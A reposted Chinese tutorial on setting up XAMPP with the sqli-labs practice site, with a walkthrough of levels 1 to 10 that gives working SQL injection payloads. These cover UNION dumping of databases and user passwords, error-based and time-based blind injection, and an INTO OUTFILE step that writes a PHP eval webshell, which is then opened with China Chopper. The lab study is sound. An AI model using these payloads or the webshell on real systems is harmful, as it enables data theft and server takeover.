搭建sql注入环境xampp+sqli-labs,及例子

转载自https://www.cnblogs.com/sylarinfo/p/3456445.html

https://blog.csdn.net/sdb5858874/article/details/80727555

# xampp要下载php版本小于7的因为sqli-labs是php5写的

搭建服务器环境

1.下载xampp包

地址:http://www.apachefriends.org/zh_cn/xampp.html

  很多人觉得安装服务器是件不容易的事,特别是要想添加MySql, PHP组件,并且要配置起来让它们能够工作就更难了。这里介绍一个好用的软件xampp,他已经把所有的工作做完了,你要做的只需下载,解压缩,启动即可。它有提供各种操作系统的版本,同时也提供安装版和便携绿色版


2.使用xampp

  将下载的压缩包解压至D盘(你也可以放到你喜欢的地方,路径最好没有空格),双击xampp-control.exe启动控制台


  点击start启动apache和mysql



  这时可以看到启动的信息和端口。如果在你的电脑中无法启动apache服务,首先检查一下是不是端口有跟别的软件有冲突,如果是的话,可以修改httpd-ssl.conf里的 Listen 446,避免冲突



确认apache和mysql都成功启动之后,浏览器中输入http://localhost:446/xampp/(注意端口号)可看到如下图即证明安装成功


安装sql注入实验网站

  下面是sql注入环境的搭建

1. 下载sql实验环境

  所用环境的代码是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。

下载地址:https://github.com/Audi-1/sqli-labs


2. 安装

  将下载好的源代码包解压到xampp目录下的\htdocs文件夹,重命名为sqli-labs。然后编辑sql-connections文件夹下的db-creds.inc文件配置数据库。xampp 自带的mysql默认用户名是root,密码为空。



打开浏览器链接http://localhost:446/sqli-labs/,点击网页上的Setup/reset Database for labs,将数据库建起来了之后就可以使用。在实验过程中可能会破坏数据库完整性,也可以点击这个恢复初始数据。




3.如何使用(以第一课为例)

点击第一课Less-1


这个是基于get的页面,我们直接在链接后跟?id=1 看效果


可以看的有数据返回了。然后尝试下 ?id=\ 很明显没有对数据库错误回显进行处理。这是最基本的一个例子,大家可以尝试更高级的例子

sqli-labs闯关指南 1—10 - 18年3月萌新白帽子 - CSDN博客

Original: blog.csdn.net

如果你是使用的phpstudy,请务必将sql的版本调到5.5以上,因为这样你的数据库内才会有information_schema数据库,方便进行实验测试。

另外-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。

第一关

1.经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询

2.接着尝试在id后面加上',发现页面回显不正常,表示可能存在SQL字符注入

3.输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入

4.接着使用order by 语句判断,该表中一共有几列数据

  order by 3页面回显正常,order by 4页面回显不正常,说明此表一个有3列。

5.将id=1改为一个数据库不存在的id值,如861,使用union select 1,2,3联合查询语句查看页面是否有显示位。

发现页面先输出了2和3,说明页面有2个显示位

6.然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息

例子:

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

这是一个查询数据库名信息的语句

查询security内的所有表名

http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+

接着使用下面的语句爆破出列名

select group_concat(column_name) from information_schema.columns where table_name='users'

接着使用如下语句查询所有的用户名,密码

lesect group_concat(password) from security.users

lesect group_concat(username) from security.users

第二关、

1.输入?id=2-1页面信息发生变化,说明此处是数值型注入

2.order by 3  页面显示正常,order by 4页面显示不正常,所以该表有3列数据

接着可以使用联合查询进行注入,详细过程参考第一关

第三关、

1.向页面输入?id=2'  --+页面显示不正常,

但是输入  ?id=2') --+ 页面回显正常,说明此处是字符型注入,而且是以 ('')的方式闭合字符串的

2.接着使用order by 判断表中有3列数据

3.接着使用联合查询,union select 1,2,3 判断页面是否有显示位   答案:有

下面使用第一关所使用的查询语句,测试一下

页面显示没有问题

第四关、

与第三关类似,第四关使用   ("")   的方式闭合字符串,然后可以优先使用联合查询注入

1.当输入?id=3" --+时,页面显示不正常

2.当输入?id=3") --+

第五关、

1.经错测试发现,当输入?id=3时页面显示正常,具体如下

当输入?id=486页面显示如下

说明页面没有显示位。无法使用联合查询注入

2.接着我们尝试在URL中输入  ?id=2' 页面出现错误语句如下

页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入

首先介绍三种报错注入常用的语句:

(1). 通过floor报错

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为你要插入的SQL语句

需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错

and updatexml(1,payload,1)

同样该语句对输出的字符长度也做了限制,其最长输出32位

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错

and extractvalue(1, payload)

输出字符有长度限制,最长32位。

payload即我们要输入的sql查询语句

3.在这里我们使用floor报错语句进行注入

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

group_concat()函数的作用:将返回信息拼接成一行显示

limit 0,1  表示输出第一个数据。   0表示输出的起始位置,1表示跨度为1(即输出几个数据,1表示输出一个,2就表示输出两个)

接着我们运用如下语句:

and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

需要注意的是,此时数据库名并不是 information_schema1

这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)

为了防止某些时候,我们误以为这个1也是我们查询结果的一部分,我建议大家使用一个;与它分开,语句如下:

?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

下面我们更该我们的payload一个个的查询我们要找的数据即可,这里不再演示

第六关、

与第5关类似,只不过这一关使用的是  ""的方式闭合字符串

我们只需要将?id=2' 改为 ?id=2"即可

其余过程不再赘述,请参考第五关

第七关、

想了一下,可能会有很多小白和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数。

数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限

into outfile命令使用的环境:

我们必须知道,服务器上一个可以写入文件的文件夹的完整路径

1.我们正常输入?id=1页面回显如下

2.当我们输入 and 1=2 页面显示依然正常,说明不是数值型注入

3.当我们输入?id=1'页面报错,说明可能存在"注入

4..当我们输入?id=1' --+页面显示依然不正常

5.接着我们尝试?id=1') --+,页面依然显示不正常,有点难受,不过没关系

6.我们可以接着输入?id=5'))  --+尝试,发现页面回显正常

7. 由于本关卡提示我们使用file权限向服务器写入文件,我们就先尝试下写数据

由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好

C:\phpStudy\PHPTutorial\MySQL\data

然后使用union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 尝试写入文件。

然后去本机文件夹下查看文件是否写入成功。

写入成功了,但是文件名变成了如图红色表示的那样!!

接着我进行了好多次尝试,最后被同学告知,需要使用\\来代替目录中的\ ,具体原因我也不知道,后续会补上。  命令如下:

union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"

文件导入成功!,接着我们查看chao.php的内容

需要注意的是利用数据库file权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传chao.php,下次在上传chao.php,就是无效命令了,也就是新的chao,php中的内容并不会覆盖,之前的chao.php

我们再尝试上传一句话木马,具体命令

?id=-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+

接着试着访问一下这个文件

上传成功,使用菜刀链接下

连接成功!!!!

第八关、

1.?id=2' --+ 页面回显正常,不赘述了,这里是单引号字符型注入

2.页面没有显示位,没有数据库报错信息。

我们先尝试一下是否有file权限

http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+

上传成功

当然我尝试下了下布尔和时间盲注,都是可以的

第九关、

这里我们尝试使用单引号和双引号闭合,发现页面回显一直正常,说明该关卡可能将我们的单双引号给退意了。

但是我输入%df之后页面回显依然正常,这个时候我觉得应该是无论我输入什么页面回显都是一样的。所以我尝试使用sleep()函数来测试

经过多次尝试,这里是单引号闭合的时间注入

' and sleep(5)

第十关、

基于双引号的时间注入

?id=2" and sleep(5) --+

这里我就不在一个一个字母的去测试了,大家了解一下时间盲注就好

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,524评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,869评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,813评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,210评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,085评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,117评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,533评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,219评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,487评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,582评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,362评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,218评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,589评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,899评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,176评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,503评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,707评论 2 335

推荐阅读更多精彩内容

  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,509评论 0 1
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 676评论 0 3
  • 基于错误_POST_更新查询注入 我讨厌这个错误回显。 这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)...
    Hyafinthus阅读 4,000评论 7 12
  • 本周是正式打卡第一周: 1.适应了打卡,早起,还需要尽量早睡 2.每天固定听音频,打开一个效能世界 3.每天用番茄...
    青子2014阅读 117评论 0 0
  • 人接触多了,发现那些越富有的人真的越和善,而且脾气越好,之所以那些富人更好,他们也是不断修炼不断努力,而拿些穷...
    幽幽栀子香阅读 658评论 0 0